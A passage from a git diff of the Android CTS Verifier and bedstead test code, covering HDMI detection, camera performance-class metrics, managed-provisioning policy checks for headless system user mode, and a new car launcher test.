Void> { + private void deleteDirectory(File file) { + for (File subfile : file.listFiles()) { + if (subfile.isDirectory()) { + deleteDirectory(subfile); + } + subfile.delete(); + } + } + @Override protected Void doInBackground(Void... params) { ContentResolver resolver = mContext.getContentResolver(); resolver.delete(TestResultsProvider.getResultContentUri(mContext), "1", null); + + // Apart from deleting metadata from content resolver database, need to delete + // files generated in LOGS_DIRECTORY. For example screenshots. + File resFolder = new File( + Environment.getExternalStorageDirectory().getAbsolutePath() + + File.separator + LOGS_DIRECTORY); + deleteDirectory(resFolder); + return null; } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java index 9804cd380fd..5ca2256787c 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java @@ -17,11 +17,13 @@ package com.android.cts.verifier.audio; import android.app.AlertDialog; +import android.content.Context; import android.content.DialogInterface; -import android.content.pm.PackageManager; import android.content.res.Resources; +import android.media.AudioDeviceCallback; import android.media.AudioDeviceInfo; import android.media.AudioFormat; +import android.media.AudioManager; import android.os.Bundle; import android.util.Log; import android.view.View; @@ -80,6 +82,10 @@ public class ProAudioActivity } // HDMI Stuff + private boolean isHDMIConnected() { + return mHDMIDeviceInfo != null; + } + private boolean isHDMIValid() { if (mHDMIDeviceInfo == null) { return false; @@ -130,21 +136,21 @@ public class ProAudioActivity return true; } - protected void handleDeviceConnection(AudioDeviceInfo devInfo) { + protected void handleDeviceConnection(AudioDeviceInfo[] addedDevices) { mHDMIDeviceInfo = null; - - if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) { - mHDMIDeviceInfo = devInfo; + for (AudioDeviceInfo deviceInfo : addedDevices) { + Log.i(TAG, " " + deviceInfo.getProductName() + " type:" + deviceInfo.getType()); + if (deviceInfo.isSink() && deviceInfo.getType() == AudioDeviceInfo.TYPE_HDMI) { + mHDMIDeviceInfo = deviceInfo; + break; + } } if (mHDMIDeviceInfo != null) { mClaimsHDMICheckBox.setChecked(true); - mHDMISupportLbl.setText(getResources().getString( - isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text)); } - mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA)); - calculatePass(); + displayTestResults(); } private boolean calculatePass() { @@ -174,8 +180,12 @@ public class ProAudioActivity } else if (!mClaimsUSBPeripheralMode) { mTestStatusLbl.setText(strings.getString( R.string.audio_proaudio_usbperipheralnotreported)); - } else if (mClaimsHDMI && isHDMIValid()) { - mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid)); + } else if (mClaimsHDMI) { + if (!isHDMIConnected()) { + mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdmiNotFound)); + } else if (!isHDMIValid()) { + mTestStatusLbl.setText(strings.getString(R.string.hdmi_insufficient)); + } } } @@ -218,7 +228,10 @@ public class ProAudioActivity mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl); - calculatePass(); + AudioManager audioManager = getSystemService(AudioManager.class); + audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null); + + displayTestResults(); } /** @@ -286,27 +299,39 @@ public class ProAudioActivity @Override public void onClick(View view) { switch (view.getId()) { - case R.id.proAudioHasHDMICheckBox: - if (mClaimsHDMICheckBox.isChecked()) { - AlertDialog.Builder builder = - new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert); - builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle)); - builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message)); - builder.setPositiveButton(android.R.string.yes, - new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int which) {} - }); - builder.setIcon(android.R.drawable.ic_dialog_alert); - builder.show(); - - mClaimsHDMI = true; - mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_pending)); - } else { - mClaimsHDMI = false; - mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA)); - } - calculatePass(); - break; + case R.id.proAudioHasHDMICheckBox: + if (mClaimsHDMICheckBox.isChecked()) { + AlertDialog.Builder builder = new AlertDialog.Builder( + this, android.R.style.Theme_Material_Dialog_Alert); + builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle)); + builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message)); + builder.setPositiveButton(android.R.string.yes, + new DialogInterface.OnClickListener() { + public void onClick(DialogInterface dialog, int which) { + } + }); + builder.setIcon(android.R.drawable.ic_dialog_alert); + builder.show(); + + mClaimsHDMI = true; + mHDMISupportLbl.setText( + getResources().getString(R.string.audio_proaudio_hdmiPending)); + } else { + mClaimsHDMI = false; + mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA)); + } + displayTestResults(); + break; + } + } + + private class TestAudioDeviceCallback extends AudioDeviceCallback { + public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) { + handleDeviceConnection(addedDevices); + } + + public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) { + // NOP } } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java index 63d96879dea..3f836b10139 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java @@ -150,8 +150,6 @@ public class ItsService extends Service implements SensorEventListener { // Performance class R version number private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R; - // Performance class S version number - private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1; public static final int SERVERPORT = 6000; @@ -737,9 +735,11 @@ public class ItsService extends Service implements SensorEventListener { doCheckStreamCombination(cmdObj); } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) { doCheckCameraPrivacyModeSupport(); - } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) { + } else if ("isPrimaryCamera".equals(cmdObj.getString("cmdName"))) { String cameraId = cmdObj.getString("cameraId"); - doCheckPerformanceClassPrimaryCamera(cameraId); + doCheckPrimaryCamera(cameraId); + } else if ("isPerformanceClass".equals(cmdObj.getString("cmdName"))) { + doCheckPerformanceClass(); } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) { String cameraId = cmdObj.getString("cameraId"); doMeasureCameraLaunchMs(cameraId); @@ -1082,10 +1082,7 @@ public class ItsService extends Service implements SensorEventListener { hasPrivacySupport ? "true" : "false"); } - private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException { - boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S - || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R); - + private void doCheckPrimaryCamera(String cameraId) throws ItsException { if (mItsCameraIdList == null) { mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager); } @@ -1116,8 +1113,15 @@ public class ItsService extends Service implements SensorEventListener { throw new ItsException("Failed to get camera characteristics", e); } - mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera", - (isPerfClass && isPrimaryCamera) ? "true" : "false"); + mSocketRunnableObj.sendResponse("primaryCamera", + isPrimaryCamera ? "true" : "false"); + } + + private void doCheckPerformanceClass() throws ItsException { + boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= PERFORMANCE_CLASS_R); + + mSocketRunnableObj.sendResponse("performanceClass", + isPerfClass ? "true" : "false"); } private double invokeCameraPerformanceTest(Class testClass, String testName, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java index 08cd8b24793..c8725bb4139 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java @@ -41,6 +41,9 @@ import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.TreeSet; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + import java.io.BufferedReader; import java.io.FileReader; import java.io.FileNotFoundException; @@ -77,6 +80,17 @@ public class ItsTestActivity extends DialogTestListActivity { Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED})); private static final int MAX_SUMMARY_LEN = 200; + private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms + private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms + + private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs"; + private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts"; + + private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN = + Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)"); + private static final Pattern MPC12_JPEG_CAPTURE_PATTERN = + Pattern.compile("1080p_jpeg_capture_time_ms:(\\d+(\\.\\d+)?)"); + private final ResultReceiver mResultsReceiver = new ResultReceiver(); private boolean mReceiverRegistered = false; @@ -116,6 +130,10 @@ public class ItsTestActivity extends DialogTestListActivity { private final HashMap<ResultKey, Boolean> mExecutedScenes = new HashMap<>(); // map camera id to ITS summary report path private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>(); + // All primary cameras for which MPC level test has run + private Set<ResultKey> mExecutedMpcTests = null; + // Map primary camera id to MPC level + private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>(); final class ResultKey { public final String cameraId; @@ -213,7 +231,6 @@ public class ItsTestActivity extends DialogTestListActivity { // Update test execution results for (String scene : scenes) { - HashMap<String, String> executedTests = new HashMap<>(); JSONObject sceneResult = jsonResults.getJSONObject(scene); Log.v(TAG, sceneResult.toString()); String result = sceneResult.getString("result"); @@ -241,6 +258,22 @@ public class ItsTestActivity extends DialogTestListActivity { mSummaryMap.put(key, summary); } } // do nothing for NOT_EXECUTED scenes + + if (sceneResult.isNull("mpc_metrics")) { + continue; + } + // Update MPC level + JSONArray metrics = sceneResult.getJSONArray("mpc_metrics"); + for (int i = 0; i < metrics.length(); i++) { + String mpcResult = metrics.getString(i); + if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN, + "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) && + !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN, + "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) { + Log.e(TAG, "Error parsing MPC result string:" + mpcResult); + return; + } + } } } catch (org.json.JSONException e) { Log.e(TAG, "Error reading json result string:" + results , e); @@ -249,6 +282,7 @@ public class ItsTestActivity extends DialogTestListActivity { // Set summary if all scenes reported if (mSummaryMap.keySet().containsAll(mAllScenes)) { + // Save test summary StringBuilder summary = new StringBuilder(); for (String path : mSummaryMap.values()) { appendFileContentToSummary(summary, path); @@ -260,6 +294,17 @@ public class ItsTestActivity extends DialogTestListActivity { summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE); } + // Save MPC info once both front primary and rear primary data are collected. + if (mExecutedMpcTests.size() == 4) { + ItsTestActivity.this.getReportLog().addValue( + "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE); + for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) { + ItsTestActivity.this.getReportLog().addValue(entry.getKey(), + entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE); + } + ItsTestActivity.this.getReportLog().submit(); + } + // Display current progress StringBuilder progress = new StringBuilder(); for (ResultKey k : mAllScenes) { @@ -321,6 +366,29 @@ public class ItsTestActivity extends DialogTestListActivity { } } } + + private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern, + String reqNum, float threshold) { + Matcher matcher = pattern.matcher(mpcResult); + boolean match = matcher.matches(); + + if (match) { + // Store test result + ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId, + mpcResult, ResultType.NEUTRAL, ResultUnit.NONE); + + float latency = Float.parseFloat(matcher.group(1)); + int mpcLevel = latency < threshold ? 31 : 0; + mExecutedMpcTests.add(new ResultKey(cameraId, reqNum)); + + if (mMpcLevelMap.containsKey(reqNum)) { + mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum)); + } + mMpcLevelMap.put(reqNum, mpcLevel); + } + + return match; + } } @Override @@ -388,6 +456,9 @@ public class ItsTestActivity extends DialogTestListActivity { testTitle(cam, scene), testId(cam, scene))); } + if (mExecutedMpcTests == null) { + mExecutedMpcTests = new TreeSet<>(mComparator); + } Log.d(TAG,"Total combinations to test on this device:" + mAllScenes.size()); } } @@ -427,4 +498,14 @@ public class ItsTestActivity extends DialogTestListActivity { setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1); setPassFailButtonClickListeners(); } + + @Override + public String getReportFileName() { + return MPC_TESTS_REPORT_LOG_NAME; + } + + @Override + public String getReportSectionName() { + return MPC_TESTS_REPORT_LOG_SECTION; + } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java new file mode 100644 index 00000000000..9fa9d7ee3ab --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/CarLauncherTestActivity.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.car; + +import android.content.Intent; +import android.os.Bundle; + +import com.android.cts.verifier.PassFailButtons; +import com.android.cts.verifier.R; + +/** + * Test Car Launcher Behavior with respect to Car Service actions. + */ +public class CarLauncherTestActivity extends PassFailButtons.Activity { + + @Override + protected void onCreate(Bundle savedState) { + super.onCreate(savedState); + setContentView(getLayoutInflater().inflate(R.layout.car_launcher_test_main, null)); + setPassFailButtonClickListeners(); + + // Sets the text in the dialog + setInfoResources(R.string.car_launcher_test, + R.string.car_launcher_test_desc, -1); + + // Open the car launcher + findViewById(R.id.car_launcher_test_button).setOnClickListener(v -> { + this.startActivity(new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME)); + }); + } +} diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java index e7bced9ebf7..f6b179c5dd1 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java @@ -80,6 +80,13 @@ public final class FeatureUtil { } /** + * Checks whether the device requires new user disclaimer acknowledgement for managed user. + */ + public static boolean isNewManagerUserDisclaimerRequired(Context context) { + return isAutomotive(context); + } + + /** * Checks whether the device supports file transfer. */ public static boolean isUsbFileTransferSupported(Context context) { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java index 218897f20f5..257d6dfd5ae 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java @@ -126,6 +126,7 @@ public class CommandReceiverActivity extends Activity { public static final String COMMAND_ENABLE_USB_DATA_SIGNALING = "enable-usb-data-signaling"; public static final String COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY = "set-required-password-complexity"; + public static final String COMMAND_CHECK_NEW_USER_DISCLAIMER = "check-new-user-disclaimer"; public static final String EXTRA_USER_RESTRICTION = "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION"; @@ -435,14 +436,14 @@ public class CommandReceiverActivity extends Activity { PackageManager.DONT_KILL_APP); } break; case COMMAND_SET_ALWAYS_ON_VPN: { - if (!mDpm.isDeviceOwnerApp(getPackageName())) { + if (!isDeviceOwnerAppOrEquivalent(getPackageName())) { return; } mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(), false /* lockdownEnabled */); } break; case COMMAND_CLEAR_ALWAYS_ON_VPN: { - if (!mDpm.isDeviceOwnerApp(getPackageName())) { + if (!isDeviceOwnerAppOrEquivalent(getPackageName())) { return; } mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */, @@ -462,13 +463,13 @@ public class CommandReceiverActivity extends Activity { mDpm.setRecommendedGlobalProxy(mAdmin, null); } break; case COMMAND_INSTALL_CA_CERT: { - if (!mDpm.isDeviceOwnerApp(getPackageName())) { + if (!isDeviceOwnerAppOrEquivalent(getPackageName())) { return; } mDpm.installCaCert(mAdmin, TEST_CA.getBytes()); } break; case COMMAND_CLEAR_CA_CERT: { - if (!mDpm.isDeviceOwnerApp(getPackageName())) { + if (!isDeviceOwnerAppOrEquivalent(getPackageName())) { return; } mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes()); @@ -560,6 +561,7 @@ public class CommandReceiverActivity extends Activity { case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: { int complexity = intent.getIntExtra(EXTRA_VALUE, DevicePolicyManager.PASSWORD_COMPLEXITY_NONE); + Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")"); mDpm.setRequiredPasswordComplexity(complexity); } } @@ -583,6 +585,15 @@ public class CommandReceiverActivity extends Activity { return isIt; } + /** + * Checks if the {@code packageName} is a device owner app, or a profile owner app in the + * headless system user mode. + */ + private boolean isDeviceOwnerAppOrEquivalent(String packageName) { + return mDpm.isDeviceOwnerApp(packageName) + || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName)); + } + private void installHelperPackage() throws Exception { if (UserManager.isHeadlessSystemUserMode()) { // App was already installed on user 0 (as instructed), so we just install it for the diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java index 44fb73e621d..449900c87da 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java @@ -710,6 +710,7 @@ public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListAct private Intent createSetRequiredPasswordComplexityIntent(int complexity) { return new Intent(this, CommandReceiverActivity.class) + .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true) .putExtra(CommandReceiverActivity.EXTRA_COMMAND, CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY) .putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java index c18150e1aff..7aa1eaaca3c 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java @@ -205,10 +205,10 @@ public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListA new ButtonInfo(R.string.enterprise_privacy_open_settings, new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)), new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn, - buildCommandIntent( + buildCommandIntentForCurrentUser( CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)), new ButtonInfo(R.string.enterprise_privacy_finish, - buildCommandIntent( + buildCommandIntentForCurrentUser( CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))})); adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY, @@ -230,10 +230,10 @@ public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListA new ButtonInfo(R.string.enterprise_privacy_open_settings, new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)), new ButtonInfo(R.string.enterprise_privacy_install_cert, - buildCommandIntent( + buildCommandIntentForCurrentUser( CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)), new ButtonInfo(R.string.enterprise_privacy_finish, - buildCommandIntent( + buildCommandIntentForCurrentUser( CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))})); if (Utils.isLockscreenSupported(this)) { adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java index 14ab277c03d..6ddcf71757d 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java @@ -55,6 +55,7 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD"; private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY"; private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER"; + private static final String CHECK_NEW_USER_DISCLAIMER_TEST_ID = "CHECK_NEW_UESR_DISCLAIMER"; @Override protected void onCreate(Bundle savedInstanceState) { @@ -111,6 +112,19 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct } private void addTestsToAdapter(final ArrayTestListAdapter adapter) { + // Check managed user's new user disclaimer + if (FeatureUtil.isNewManagerUserDisclaimerRequired(this)) { + adapter.add(createInteractiveTestItem(this, CHECK_NEW_USER_DISCLAIMER_TEST_ID, + R.string.check_new_user_disclaimer, + R.string.check_new_user_disclaimer_info, + new ButtonInfo[]{ + new ButtonInfo( + R.string.device_owner_settings_go, + new Intent(Settings.ACTION_USER_SETTINGS)), + new ButtonInfo(R.string.enterprise_privacy_set_organization, + createSetOrganizationNameIntent())})); + } + adapter.add(createTestItem(this, CHECK_AFFILIATED_PROFILE_OWNER_TEST_ID, R.string.managed_user_check_managed_user_test, new Intent(ACTION_CHECK_AFFILIATED_PROFILE_OWNER) @@ -185,10 +199,8 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct adapter.add(createTestItem(this, POLICY_TRANSPARENCY_TEST_ID, R.string.device_profile_owner_policy_transparency_test, policyTransparencyTestIntent)); - } - static TestListItem createTestItem(Activity activity, String id, int titleRes, Intent intent) { intent.putExtra(EXTRA_TEST_ID, id); @@ -200,4 +212,9 @@ public class ManagedUserPositiveTestActivity extends PassFailButtons.TestListAct // general test for that. TODO: add a test API to do a real check for status bar support. return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH); } + + private Intent createSetOrganizationNameIntent() { + return new Intent(CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME) + .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME, "Foo, Inc."); + } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java index 23477c294f8..bcc8ce973ad 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java @@ -139,7 +139,8 @@ public class WidgetCtsProvider extends AppWidgetProvider { && sSDKLevel < android.os.Build.VERSION_CODES.JELLY_BEAN_MR1) { return false; } - return true; + // TODO: revert when b/228227212 is fixed (underlying cause of b/204831731) + return false; } @Override diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp index 898f4bdf91b..55ef022080a 100644 --- a/apps/VpnApp/Android.bp +++ b/apps/VpnApp/Android.bp @@ -49,6 +49,7 @@ android_test_helper_app { manifest: "latest/AndroidManifest.xml", test_suites: [ "cts", + "gts", "general-tests", ], } diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java index 0f333073476..218610eaf54 100644 --- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java +++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java @@ -120,7 +120,7 @@ public final class TestAppSystemServiceFactory { } private static void assertHasRequiredReceiver(Context context) { - if (!UserManager.isHeadlessSystemUserMode()) return; + if (!Utils.isHeadlessSystemUserMode()) return; String packageName = context.getPackageName(); Boolean hasIt = sHasRequiredReceiver.get(packageName); @@ -226,7 +226,7 @@ public final class TestAppSystemServiceFactory { assertHasRequiredReceiver(context); int userId = context.getUserId(); - if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) { + if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) { Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId); return manager; } diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java index 03b896321ac..57289de5355 100644 --- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java +++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java @@ -19,6 +19,7 @@ import android.app.ActivityManager; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; +import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; @@ -61,12 +62,17 @@ public final class Utils { @GuardedBy("LOCK") private static Handler sHandler; + static boolean isHeadlessSystemUserMode() { + return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S + && UserManager.isHeadlessSystemUserMode(); + } + static boolean isHeadlessSystemUser() { - return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM; + return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM; } static boolean isCurrentUserOnHeadlessSystemUser(Context context) { - return UserManager.isHeadlessSystemUserMode() + return isHeadlessSystemUserMode() && context.getSystemService(UserManager.class).isUserForeground(); } diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java index d93ff7e3ac7..465ceb66db2 100644 --- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java +++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java @@ -276,12 +276,10 @@ public final class Processor extends AbstractProcessor { // AccountManager // Uses Activity - "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", - "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", @@ -295,7 +293,6 @@ public final class Processor extends AbstractProcessor { // Uses AccountManagerCallback "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, 